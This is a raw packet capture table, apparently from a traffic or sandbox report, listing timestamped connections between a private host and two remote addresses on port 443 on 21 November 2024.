Nov 21, 2024 00:03:55.647746086 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:55.647756100 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:55.648063898 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:55.654850960 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:55.695374012 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.135354042 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.135384083 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.135996103 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.135999918 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.136030912 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.136054993 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.136434078 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.136446953 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.136482954 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.136487961 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.330884933 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.330918074 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.330936909 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.331017971 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:56.331048012 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.331099987 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:56.368422985 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.368479967 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.368526936 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:56.368540049 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.368550062 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:56.368585110 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:56.368701935 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:56.368721008 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.368735075 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:56.368741035 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:56.570224047 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.572524071 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.573306084 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.573354959 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.573364973 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.573457956 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.573868990 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.573894024 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.573908091 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.573915958 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.575428009 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.575484991 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.575519085 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.575519085 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.575536966 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.575545073 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.577604055 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.577631950 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.577689886 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.577830076 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.577842951 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.578665018 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.578691959 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.578758001 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.578910112 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.578922987 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.662297964 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.662741899 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.662779093 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.663202047 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.663208008 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.713186026 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.713540077 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.713558912 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:56.714116096 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:56.714121103 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.108444929 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.111573935 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.111618996 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.111938000 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.118618011 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.118644953 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.118659019 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.118665934 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.202476025 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.202526093 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.202614069 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.213840961 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.213860989 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.481678963 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.481762886 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.481807947 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.483200073 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.483212948 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.483222961 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.483227968 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.484447956 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.486608982 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.486619949 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.487095118 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.487103939 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.489711046 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.489748955 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.489809990 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.489990950 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.490005016 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.932177067 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.935203075 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.935517073 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.935563087 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.935578108 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.935590029 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.935595036 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.938297033 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.938312054 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:57.938379049 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.938513041 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:57.938525915 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.291999102 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.292536974 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.292576075 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.293011904 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.293019056 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.362284899 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.362658024 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.362677097 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.363046885 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.363054991 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.753530979 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.756402969 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.756452084 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.756519079 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.756572008 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.756587982 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.756601095 CET	49930	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.756606102 CET	443	49930	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.759247065 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.759268045 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.759371996 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.759500027 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.759512901 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.810821056 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.814074039 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.814141035 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.814172983 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.814189911 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.814202070 CET	49931	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.814208984 CET	443	49931	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.816346884 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.816390038 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:58.816503048 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.816560984 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:58.816571951 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.143678904 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.144136906 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.144166946 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.144748926 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.144754887 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.284198999 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.285525084 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.285567999 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.285944939 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.285953999 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.592916965 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.598088026 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.598150015 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.598150015 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.598210096 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.598254919 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.598272085 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.598282099 CET	49934	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.598288059 CET	443	49934	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.600644112 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.600713968 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.600795984 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.600915909 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.600929976 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.732564926 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.735663891 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.735733986 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.758621931 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.759906054 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.759937048 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.759951115 CET	49935	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.759958029 CET	443	49935	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.814682961 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.873538017 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.873558998 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:59.879775047 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:59.879801035 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.017255068 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.017291069 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.017389059 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.017668962 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.017680883 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.210911036 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.213933945 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.213980913 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.213999987 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.214027882 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.214117050 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.214117050 CET	49938	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.214131117 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.214142084 CET	443	49938	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.216968060 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.217072010 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.217152119 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.217294931 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.217333078 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.535110950 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.535548925 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.535576105 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.536000967 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.536010027 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.633428097 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.634116888 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.634141922 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.634581089 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.634587049 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.968897104 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.972366095 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.972434998 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.972489119 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.972510099 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.972524881 CET	49940	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.972532988 CET	443	49940	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.975558043 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.975611925 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:00.975686073 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.975845098 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:00.975861073 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.089154005 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.092212915 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.092303038 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.092340946 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.092361927 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.092374086 CET	49939	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.092381001 CET	443	49939	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.094839096 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.094872952 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.094942093 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.095048904 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.095062017 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.445099115 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.445712090 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.445739985 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.446096897 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.446105957 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.803352118 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.803914070 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.803934097 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.804379940 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.804384947 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.902187109 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.905293941 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.905368090 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.905409098 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.905428886 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.905441046 CET	49942	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.905447006 CET	443	49942	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.908255100 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.908284903 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.908365965 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.908546925 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.908560991 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.999115944 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:01.999587059 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:01.999615908 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.000021935 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.000027895 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.272658110 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.275389910 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.275440931 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.275455952 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.275492907 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.275517941 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.275541067 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.275552988 CET	49943	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.275558949 CET	443	49943	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.279644012 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.279695034 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.279759884 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.279887915 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.279905081 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.489181042 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.489348888 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.489412069 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.489612103 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.489619017 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.489629984 CET	49945	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.489634991 CET	443	49945	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.492526054 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.492558002 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.492630959 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.492777109 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.492790937 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.764918089 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.765582085 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.765629053 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.766084909 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.766100883 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.894522905 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.912039995 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.912061930 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:02.912492990 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:02.912497997 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.210823059 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.212243080 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.212315083 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.212322950 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.212382078 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.212476969 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.212496996 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.212516069 CET	49947	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.212527037 CET	443	49947	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.216363907 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.216407061 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.216517925 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.216747046 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.216763020 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.348217010 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.348309994 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.348424911 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.348697901 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.348714113 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.348722935 CET	49948	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.348728895 CET	443	49948	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.352144957 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.352200985 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.352318048 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.352572918 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.352590084 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.692321062 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.693289042 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.693303108 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:03.693764925 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:03.693770885 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.088012934 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.093858004 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.093883038 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.094516039 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.094522953 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.136270046 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.139566898 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.139647961 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.139817953 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.139839888 CET	443	49950	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.139851093 CET	49950	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.139857054 CET	443	49950	13.107.246.45	192.168.2.7
